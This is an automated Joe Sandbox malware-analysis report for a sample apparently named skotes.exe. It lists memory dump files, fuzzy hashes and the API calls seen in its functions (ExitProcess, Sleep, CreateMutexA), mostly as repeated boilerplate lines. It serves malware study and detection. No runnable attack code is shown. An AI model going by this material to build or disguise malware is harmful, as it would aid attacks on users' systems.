Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a094ca5e4788115eb44dcaaab92b109def04f7a06af74301ce7049c3299175ad
Instruction ID: 9cee58c455c0d8418f37ccf93939f8806ce8d5fc9fffc768237580d4a65b365e
Opcode Fuzzy Hash: a094ca5e4788115eb44dcaaab92b109def04f7a06af74301ce7049c3299175ad
Instruction Fuzzy Hash: BB212C71A1010AAFDF01EFA4C881ABEB7B9EF48710F614017F901A7351DB709D119BA0

Function 002FF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 002FF3A3

Strings

8"2, xrefs: 002FF44B
`'2, xrefs: 002FF375

Memory Dump Source

Source File: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000000.00000002.2139390215.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139414972.0000000000322000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139478911.0000000000329000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139496959.000000000032B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139517541.0000000000335000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139539950.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139569504.0000000000337000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139682428.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139700806.000000000049A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139722542.00000000004C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139757016.00000000004C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139774071.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139791274.00000000004D4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139808297.00000000004DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139829713.00000000004EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139845903.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139862874.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139880735.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139901234.0000000000519000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139918087.000000000051F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139935126.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139950916.0000000000529000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139966218.000000000052A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139983276.0000000000531000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139998696.0000000000532000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140013847.0000000000535000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140030260.000000000053C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140045803.000000000053F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140061366.0000000000540000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140077283.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140094821.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140115008.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140132407.000000000055C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140149504.000000000055F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140170873.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000057D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140187386.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140238218.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140254297.00000000005D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140270654.00000000005D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140286019.00000000005D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140303785.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140319652.00000000005E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c0000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"2$`'2
API String ID: 3903695350-3807406908
Opcode ID: 6c3684fae2b2ce442ab430e4a0706ccd923a77c6dc196e4e82df903df8d2d93e
Instruction ID: 757fcc218a38cfae5b263556f6fe7871081de76044e28a4dae1e2c339327ecd8
Opcode Fuzzy Hash: 6c3684fae2b2ce442ab430e4a0706ccd923a77c6dc196e4e82df903df8d2d93e
Instruction Fuzzy Hash: B4315B7162020EDFEB61AE39D945B7BF3E8EF00391F104479E649D6595DE70A8A0CB21

Analysis Process: skotes.exePID: 6000, Parent PID: 1968COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1967
Total number of Limit Nodes:	9

Executed Functions

Function 001A652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001A652A,?,?,?,?,?,001A7661), ref: 001A6566

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: dfbc4b6052573992bb0bd68d5dba311c51f7dbbf26d2a1e1b681083dd63c4628
Instruction ID: 9a1165357bc74eef7618c80cdfbcf4bc20532f1920f02794d0a5009637f17419
Opcode Fuzzy Hash: dfbc4b6052573992bb0bd68d5dba311c51f7dbbf26d2a1e1b681083dd63c4628
Instruction Fuzzy Hash: BBE0E6348451486BCE267B64E909A893B59EF52795F485814FD0886136CB25ED41C941

Function 00179BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 30f2251836b1443a8f4e43fbb88dc9bcc5e807ee01873cd375851f39774f0989
Instruction ID: 3166d6590866ffb233cbedda5d2d85e1826a689203ce6d8b4b5c59667cad0864
Opcode Fuzzy Hash: 30f2251836b1443a8f4e43fbb88dc9bcc5e807ee01873cd375851f39774f0989
Instruction Fuzzy Hash: B1316B31A042048BEF08EB78ED89B6DB7B2EFC5314F64C219E018973D5C7759A848752

Function 00179F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 219609603d84c52d5866e8f260dd97493f4cccd1a37cb67c43d31f8591675812
Instruction ID: c02744ca46c6f861ce9fa224d81f4c49fe88542a45b2d5319b787bdb3eae3209
Opcode Fuzzy Hash: 219609603d84c52d5866e8f260dd97493f4cccd1a37cb67c43d31f8591675812
Instruction Fuzzy Hash: 0F3148316042048BEB08AB78DC987ADBBB2EFC5314F64C619F018D72D5D7759A848752

Function 0017A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fe9ec6c0e02784c408b27da7fccd62830a2c9d22956831747b31ccc1f92d28b8
Instruction ID: 7483deb7c58fdb11e6a73aec2296f82488b7aa3f157f32f7e5f35e452de30ffe
Opcode Fuzzy Hash: fe9ec6c0e02784c408b27da7fccd62830a2c9d22956831747b31ccc1f92d28b8
Instruction Fuzzy Hash: C2314831B042049BEB089B78DD89B6DB7B2DFC1318F64C629E018973D5C776AA808B12

Function 0017A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
